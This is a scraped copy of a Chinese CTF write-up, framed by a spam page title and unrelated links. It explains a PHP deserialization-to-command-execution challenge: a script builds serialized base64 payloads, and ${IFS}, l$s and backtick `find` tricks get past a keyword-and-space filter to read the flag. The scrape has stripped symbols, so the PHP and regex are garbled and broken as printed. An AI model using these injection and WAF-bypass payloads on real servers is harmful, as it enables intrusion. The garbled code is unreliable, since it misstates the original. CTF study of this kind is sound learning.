当前位置: 首页 > news >正文

百度网站推广价格怎样做影视网站

百度网站推广价格,怎样做影视网站,太原网站建设注意,百度营销登录nnnd#xff0c;这道题谁标的难度1#xff01;参考文章#xff1a;江苏工匠杯-unseping序列化#xff0c;正则绕过(全网最简单的wp)_江苏工匠杯unseping-CSDN博客 这是这道题的源码#xff0c;一看exec和unserialize就是反序列化和命令执行#xff0c;还有个正则应…nnnd这道题谁标的难度1参考文章江苏工匠杯-unseping序列化正则绕过(全网最简单的wp)_江苏工匠杯unseping-CSDN博客 这是这道题的源码一看exec和unserialize就是反序列化和命令执行还有个正则应该还要绕过 ?php highlight_file(__FILE__);class ease{private $method;private $args;function __construct($method, $args) {$this-method $method;$this-args $args;}function __destruct(){if (in_array($this-method, array(ping))) {call_user_func_array(array($this, $this-method), $this-args);}} function ping($ip){exec($ip, $result);var_dump($result);}function waf($str){if (!preg_match_all(/(\|||;| |\/|cat|flag|tac|php|ls)/, $str, $pat_array)) {return $str;} else {echo dont hack;}}function __wakeup(){foreach($this-args as $k $v) {$this-args[$k] $this-waf($v);}} }$ctf$_POST[ctf]; unserialize(base64_decode($ctf)); ? 简单讲一下call_user_func_array调用回调函数大概就是这样网上找的例子本题中我猜测因为是在魔术方法里面所以第一个参数array()里面类用伪变量$this替代了 1普通使用 function a($b, $c) {   echo $b;  echo $c;  }  call_user_func_array(a, array(111, 222));  //输出 111 222 2调用类内部的方法 Class ClassA {  function bc($b, $c) {  $bc $b $c;  echo $bc;  }  }  call_user_func_array(array(ClassA,bc), array(111, 222));  //输出  333  这个正则表达式解释如下 /: 正则表达式的开始和结束的分隔符。(: 开始一个捕获组用于将匹配的结果保存在结果数组中。\|: 匹配一个垂直线字符||: 逻辑或操作符用于匹配多个模式之一。: 匹配一个和字符;: 匹配一个分号字符;: 匹配一个空格字符\/: 匹配一个斜杠字符/cat: 匹配字符串catflag: 匹配字符串flagtac: 匹配字符串tacphp: 匹配字符串phpls: 匹配字符串ls): 结束捕获组。/: 正则表达式的结束符。 综上所述该正则表达式将匹配字符串中的垂直线字符|、和字符、分号字符;、空格字符、斜杠字符/以及字符串cat、flag、tac、php、ls。 空格被过滤了但是我们写命令的时候还需要空格怎么办 我只知道一个IFS空格使用的时候写成${IFS}起到空格的作用。 上网查是一个特殊变量使用$的形式起到空变量的作用放在字符串中间绕过字符串过滤又不会对原字符串产生影响 魔术方法 __construct() //创建对象时触发 __wakeup() //执行unserialize()时先会调用这个函数 okk到这里差不多读懂代码了代码流程将我们的base64编码并且序列化的数据经过post请求发送到PHP文件处理代码首先接受数据然后base64解码反序列化又因为wakeup这个魔术方法在反序列化前会被优先调用所以执行wakeup方法遍历关联数组args将每个键对应的值用waf方法进行正则匹配如果匹配通过后返回原字符串否则打印hack由此可以看出args存放的是系统命令这些。然后执行反序列化对象被重新创建后无调用又被销毁触发destruct魔术方法:in_array函数内容确定了method值为ping然后call_user_func_array调用回调函数调用ping函数将args数组内容作为ping函数的参数然后exec执行系统命令结果存到resultvar_dump打印类型和值 上面的流程已经说的很详细了我们先来试试水看看能不能执行命令 别忘了args是数组形式哦 ?php class ease {private $method;private $args;function __construct($method, $args){$this-method $method;$this-args $args;} } $object new ease(ping,array(id)); $ser serialize($object); $ser base64_encode($ser); echo $ser; ? 成功执行id命令 接下来看看当前目录下的文件args传入参数变为array(l$s)正则匹配会匹配整个l$s但是$是空变量最后解析出来还是ls flag文件是数组的第一个元素 find 查看当前及子目录下的所有文件我们可以使用cat 直接查看当前目录下的文件内容不需要再编码来回转了 payload array(c$at${IFS}find)使用反引号是因为会优先执行反引号里面的命令 成功读出flag不懂多看一下我写的流程思路就明白了
http://www.zqtcl.cn/news/885293/

相关文章:

  • 阳江网站seo公司wordpress建站博客
  • 我想做京东网站淘宝怎么做的wordpress淘宝联盟转链
  • 虚拟钱包对接网站开发视频教程营销型网站建设要懂代码吗
  • 莱州教育网站一站式网站搭建
  • 开发网站开票名称是什么捕鱼游戏网站开发商
  • 我国中小企业网站建设怎样办自己的网站
  • 如何推广自己网站链接通化北京网站建设
  • 小型的游戏网站怎么做WordPress设置作者信息
  • 网站建设师要求关键词优化排名易下拉排名
  • 网站建设步骤及推广方法做网站的公司叫什么
  • 怎么建立自己网站 asp网站做视频流量赚钱
  • 全屏网站宽度域名服务器怎么设置
  • 网站图片切换js代码金融公司网站方案
  • 企业网站开发步骤开源软件开发
  • 建设项目环境影响登记表备案系统网站签署网站建设协议新闻
  • 有的网站在浏览器打不开怎么办最近中国新闻热点大事件
  • 网站模板组件随州网站建设有哪些
  • 网站建设微信版8080端口wordpress
  • 急求聊城网站建设微信网页注册入口
  • 商城网站建站程序网站内链布局
  • 盐城网站建设方案全景旅游网站项目建设
  • 网站备案完电信园林效果图网站
  • 伤豆丁文库网站开发贵州网站备案局
  • 做网站的注意什么北京建设协会网站首页
  • 石家庄网站开发设计网站建设重点步骤
  • 推广思路及执行方案昆明百度seo
  • 太原公司网站建立可视化小程序开发工具
  • 怎么做网站的搜索引擎云主机有什么用
  • 淘宝客新增网站南宁百度seo优化
  • 建设厅网站合同备案在哪里网站备案本人承诺